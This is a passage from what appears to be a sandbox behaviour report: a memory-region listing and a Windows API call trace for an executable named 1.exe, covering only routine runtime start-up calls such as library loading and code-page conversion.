"wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 741 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 742 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 743 start_va = 0xd0000 end_va = 0x136fff entry_point = 0xd0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 744 start_va = 0x560000 end_va = 0x56ffff entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 745 start_va = 0x7c0000 end_va = 0x8bffff entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 746 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 747 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 748 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 749 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 750 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 751 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 752 start_va = 0x75ce0000 end_va = 0x75d36fff entry_point = 0x75ce0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 753 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 754 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 755 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 756 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 757 start_va = 0x76670000 end_va = 0x772b9fff entry_point = 0x76670000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 758 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 759 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 760 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 761 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 762 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 763 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 764 start_va = 0x610000 end_va = 0x797fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 765 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 766 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 767 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 768 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 769 start_va = 0x8c0000 end_va = 0xa40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008c0000" filename = "" Region: id = 770 start_va = 0xa50000 end_va = 0x1e4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a50000" filename = "" Region: id = 771 start_va = 0x1e50000 end_va = 0x211efff entry_point = 0x1e50000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 772 start_va = 0x70000 end_va = 0x70fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 773 start_va = 0x160000 end_va = 0x19ffff entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 774 start_va = 0x210000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 775 start_va = 0x2170000 end_va = 0x226ffff entry_point = 0x0 region_type = private name = "private_0x0000000002170000" filename = "" Region: id = 776 start_va = 0x74d00000 end_va = 0x74d7ffff entry_point = 0x74d00000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 777 start_va = 0x75540000 end_va = 0x7569bfff entry_point = 0x75540000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 778 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 779 start_va = 0x80000 end_va = 0x81fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 780 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 781 start_va = 0x150000 end_va = 0x151fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 782 start_va = 0x3e0000 end_va = 0x4befff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003e0000" filename = "" Region: id = 783 start_va = 0x749f0000 end_va = 0x74ae4fff entry_point = 0x749f0000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 784 start_va = 0x74ec0000 end_va = 0x7505dfff entry_point = 0x74ec0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 785 start_va = 0x754b0000 end_va = 0x75532fff entry_point = 0x754b0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 786 start_va = 0x75f60000 end_va = 0x75feefff entry_point = 0x75f60000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 787 start_va = 0x1a0000 end_va = 0x1a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 788 start_va = 0x74e90000 end_va = 0x74eb0fff entry_point = 0x74e90000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 789 start_va = 0x756a0000 end_va = 0x756e4fff entry_point = 0x756a0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 790 start_va = 0x1c0000 end_va = 0x1defff entry_point = 0x1c0000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000016.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000016.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000016.db") Region: id = 791 start_va = 0x1e0000 end_va = 0x1e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 792 start_va = 0x75200000 end_va = 0x7520afff entry_point = 0x75200000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 793 start_va = 0x1b0000 end_va = 0x1b3fff entry_point = 0x1b0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 794 start_va = 0x1f0000 end_va = 0x1f3fff entry_point = 0x1f0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 795 start_va = 0x250000 end_va = 0x27ffff entry_point = 0x250000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000012.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db") Region: id = 796 start_va = 0x4c0000 end_va = 0x525fff entry_point = 0x4c0000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 797 start_va = 0x2350000 end_va = 0x238ffff entry_point = 0x0 region_type = private name = "private_0x0000000002350000" filename = "" Region: id = 798 start_va = 0x23f0000 end_va = 0x24effff entry_point = 0x0 region_type = private name = "private_0x00000000023f0000" filename = "" Region: id = 799 start_va = 0x74940000 end_va = 0x7496dfff entry_point = 0x74940000 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\SysWOW64\\shdocvw.dll" (normalized: "c:\\windows\\syswow64\\shdocvw.dll") Region: id = 800 start_va = 0x749a0000 end_va = 0x749ebfff entry_point = 0x749a0000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 801 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 802 start_va = 0x200000 end_va = 0x206fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000200000" filename = "" Region: id = 803 start_va = 0x280000 end_va = 0x281fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 804 start_va = 0x24f0000 end_va = 0x28e2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 805 start_va = 0x75e10000 end_va = 0x75e21fff entry_point = 0x75e10000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 806 start_va = 0x75ff0000 end_va = 0x7618cfff entry_point = 0x75ff0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 807 start_va = 0x76640000 end_va = 0x76666fff entry_point = 0x76640000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 808 start_va = 0x757f0000 end_va = 0x759eafff entry_point = 0x757f0000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 809 start_va = 0x75be0000 end_va = 0x75cd4fff entry_point = 0x75be0000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 810 start_va = 0x76190000 end_va = 0x762acfff entry_point = 0x76190000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 811 start_va = 0x762e0000 end_va = 0x76415fff entry_point = 0x762e0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 812 start_va = 0x772c0000 end_va = 0x772cbfff entry_point = 0x772c0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 813 start_va = 0x22f0000 end_va = 0x232ffff entry_point = 0x0 region_type = private name = "private_0x00000000022f0000" filename = "" Region: id = 814 start_va = 0x2910000 end_va = 0x294ffff entry_point = 0x0 region_type = private name = "private_0x0000000002910000" filename = "" Region: id = 815 start_va = 0x2990000 end_va = 0x2a8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002990000" filename = "" Region: id = 816 start_va = 0x2a90000 end_va = 0x2b8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a90000" filename = "" Region: id = 817 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 818 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Thread: id = 44 os_tid = 0x9d0 [0059.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x38febc | out: lpSystemTimeAsFileTime=0x38febc*(dwLowDateTime=0xa547bd90, dwHighDateTime=0x1d4800f)) [0059.118] GetCurrentThreadId () returned 0x9d0 [0059.118] GetCurrentProcessId () returned 0x9cc [0059.118] QueryPerformanceCounter (in: lpPerformanceCount=0x38feb4 | out: lpPerformanceCount=0x38feb4*=1812331400000) returned 1 [0059.118] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0059.119] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0059.119] GetLastError () returned 0x57 [0059.119] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0059.119] GetLastError () returned 0x57 [0059.119] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x75a20000 [0059.120] GetProcAddress (hModule=0x75a20000, lpProcName="InitializeCriticalSectionEx") returned 0x75a34d28 [0059.120] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0059.120] GetLastError () returned 0x57 [0059.120] GetProcAddress (hModule=0x75a20000, lpProcName="FlsAlloc") returned 0x75a34f2b [0059.120] GetProcAddress (hModule=0x75a20000, lpProcName="FlsSetValue") returned 0x75a34208 [0059.121] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0059.121] GetLastError () returned 0x57 [0059.121] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0059.121] GetLastError () returned 0x57 [0059.121] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x75a20000 [0059.121] GetProcAddress (hModule=0x75a20000, lpProcName="InitializeCriticalSectionEx") returned 0x75a34d28 [0059.121] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0059.121] GetLastError () returned 0x57 [0059.121] GetProcAddress (hModule=0x75a20000, lpProcName="FlsAlloc") returned 0x75a34f2b [0059.121] GetLastError () returned 0x57 [0059.121] GetProcAddress (hModule=0x75a20000, lpProcName="FlsGetValue") returned 0x75a31252 [0059.121] GetProcAddress (hModule=0x75a20000, lpProcName="FlsSetValue") returned 0x75a34208 [0059.121] SetLastError (dwErrCode=0x57) [0059.123] GetStartupInfoW (in: lpStartupInfo=0x38fdf0 | out: lpStartupInfo=0x38fdf0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3a33b0, hStdOutput=0x53ce196a, hStdError=0xfffffffe)) [0059.123] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0059.123] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0059.123] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0059.123] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe\" " [0059.123] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe\" " [0059.123] GetACP () returned 0x4e4 [0059.123] IsValidCodePage (CodePage=0x4e4) returned 1 [0059.123] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x38fe10 | out: lpCPInfo=0x38fe10) returned 1 [0059.123] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x38f6d8 | out: lpCPInfo=0x38f6d8) returned 1 [0059.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x38fcec, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0059.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x38fcec, cbMultiByte=256, lpWideCharStr=0x38f478, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0059.123] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x38f6ec | out: lpCharType=0x38f6ec) returned 1 [0059.124] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x38fcec, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0059.124] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x38fcec, cbMultiByte=256, lpWideCharStr=0x38f428, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧:Ā") returned 256 [0059.124] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0059.124] GetLastError () returned 0x57 [0059.124] GetProcAddress (hModule=0x75a20000, lpProcName="LCMapStringEx") returned 0x75ab47f1 [0059.124] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧:Ā", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0059.124] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧:Ā", cchSrc=256, lpDestStr=0x38f218, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0059.124] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x38fbec, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x1